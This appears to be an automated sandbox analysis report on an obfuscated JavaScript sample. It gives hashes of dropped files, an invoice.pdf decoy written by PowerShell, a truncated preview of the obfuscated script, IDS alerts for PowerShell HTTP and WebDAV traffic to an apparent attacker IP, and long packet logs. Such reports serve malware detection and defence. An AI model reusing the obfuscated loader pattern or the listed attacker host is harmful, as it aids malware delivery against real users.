SSDEEP:	24576:/5wYIGNPQxWL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:hwZG2xWLxXGZn3mlind9i4ufFXpAXkru
MD5:	EE11625254593EF7AB953E33E6C635FE
SHA1:	5B6E37F1357BF12C939A378F268CB1C5E1873414
SHA-256:	2A48EA7C05E24A42FFE88094FA37A12F50EB0E882F482C7F9234519C3568FFC7
SHA-512:	1C76FD75DB2A30AEA495814E80B11F8954D2E13E124C9B4AFEBF5F115DC1C63AD78A29E8AF58B7DB78AB0C8A993947944B4C49AB0D6726716DDED9E955D38771
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\0d6003ef-22ca-44c4-a212-1a1a35761143.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:bwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	D1BC27E013E1129B27D3BE5F4567D495
SHA1:	D2D1B846698798C80E57917477F7B98054B48925
SHA-256:	3EF526805CA6690C3E477DFD81BFD4B28B8D82CCA8E3641C3EDA0EC37F332DDC
SHA-512:	EBCEFA11F5BC59D602D90177B460B0F0DA59534D347FFBAF1A7C78118A3A221A02284E0A34164F6C0710C1B4E88504C4A20DA69AC998B5EE613A017B208316CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d5870fa4-3dda-4355-9daa-709c5fe8a144.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e6ebbd20-f29d-4987-92aa-c33c258be1cb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16765), with CRLF line terminators
Entropy (8bit):	4.919257469285027
TrID:
File name:	289215992948720779.js
File size:	20'184 bytes
MD5:	b0cfbfd9e4aaeb40c8b9dffd3ba80c5f
SHA1:	cab85f348e95a81bbb4af812e2906722caa9c1e0
SHA256:	3b396a5ae7ba88e053ee11e77840760e2f33fde919c2d6300b6cee5dcbf7f56e
SHA512:	c708d33294ed7a4e90d1e744ea7384cddf96a85af07056c7bc206ce13fff27c4b3d2ef3f9b4ae8124f9a99fe2d2530cf633694c543fd3fbc141d862cc16093da
SSDEEP:	192:HCepZULv42tsrroJAnlDm0/Va8bqGUTRzA2yGHFIOief4DiUYkAXAT6FI5wu:i5LttsAJBMbMyG3aiUH115j
TLSH:	6A9252E9C41DC63BD5F70FB0AD4804E52F9850CC8B961D4AACD7401AB3813BA61F99BE
File Content Preview:	function ewyzekg(){kfvdhcy=[1031,3079,5127,4103,2055,3072];var myxptnc=this[wsekklmxm+famuw+dfrmuv+wujjl+zwjbeujfe+tbdyze+cuqqo+gumpyc](this[mwbzkknmt+hqnfv+zxawx+dfrmuv+zxvdi+wsekklmxm+gumpyc][kgropwkf+dfrmuv+zwjbeujfe+famuw+gumpyc+zwjbeujfe+lathffqb+ugo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:32:15.231649+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49717	193.143.1.205	80	TCP
2025-01-10T14:32:17.870649+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49734	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:32:14.431838036 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:14.436676025 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:14.436754942 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:14.443645954 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:14.448446989 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231561899 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231575966 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231606007 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231616974 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231628895 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231648922 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.231674910 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.231751919 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231765032 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231780052 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231790066 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231802940 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.231810093 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.231826067 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.231847048 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.236543894 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.258044004 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.258055925 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.258100986 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.258189917 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.258199930 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.258235931 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.352596045 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.352622032 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.352675915 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.352722883 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.352736950 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.352749109 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.352781057 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.353140116 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353152037 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353192091 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.353374958 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353389025 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353399992 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353410959 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.353429079 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.353451967 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.354008913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354022026 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354033947 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354044914 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354057074 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354065895 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.354089022 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.354871035 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354882956 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354895115 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354906082 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354917049 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.354947090 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.354964018 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.355670929 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.355731010 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.379350901 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.379363060 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.379410982 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.379538059 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.379550934 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.379561901 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.379591942 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.433151007 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.441080093 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.441099882 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.441152096 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.473862886 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.473876953 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.473887920 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.473937988 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474040985 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474052906 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474096060 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474390984 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474404097 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474416018 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474426985 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474438906 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474440098 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474452019 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474498987 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474589109 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474661112 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.474700928 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.474963903 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475039005 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475058079 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475069046 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475081921 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475106001 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.475132942 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.475528955 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475541115 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475559950 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475570917 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.475573063 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475595951 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475608110 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475611925 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.475621939 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.475635052 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.475661993 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.476337910 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476351023 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476362944 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476373911 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476402044 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476406097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.476416111 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476423979 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.476430893 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476444960 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.476470947 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.476497889 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.477354050 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477365971 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477377892 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477389097 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477401972 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477407932 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.477413893 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477427959 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477428913 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.477438927 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.477458000 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.477477074 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.500494003 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500535011 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500581026 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500592947 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500633955 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.500642061 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500653982 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500674009 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.500678062 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500721931 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.500761032 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500768900 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500807047 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.500880957 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.500891924 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.501092911 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.562314034 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.562325954 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.562334061 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.562340021 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.562345982 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.562397957 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595392942 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595408916 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595419884 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595455885 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595469952 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595483065 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595493078 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595496893 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595524073 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595716953 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595729113 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595740080 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595751047 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595761061 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595772028 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595802069 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.595940113 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.595957994 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596004009 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.596108913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596121073 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596138954 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596148968 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596159935 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596162081 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.596170902 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596188068 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596198082 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.596199989 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596223116 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.596232891 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.596678019 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596689939 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.596699953 CET	80	49717	193.143.1.205	192.168.2.7
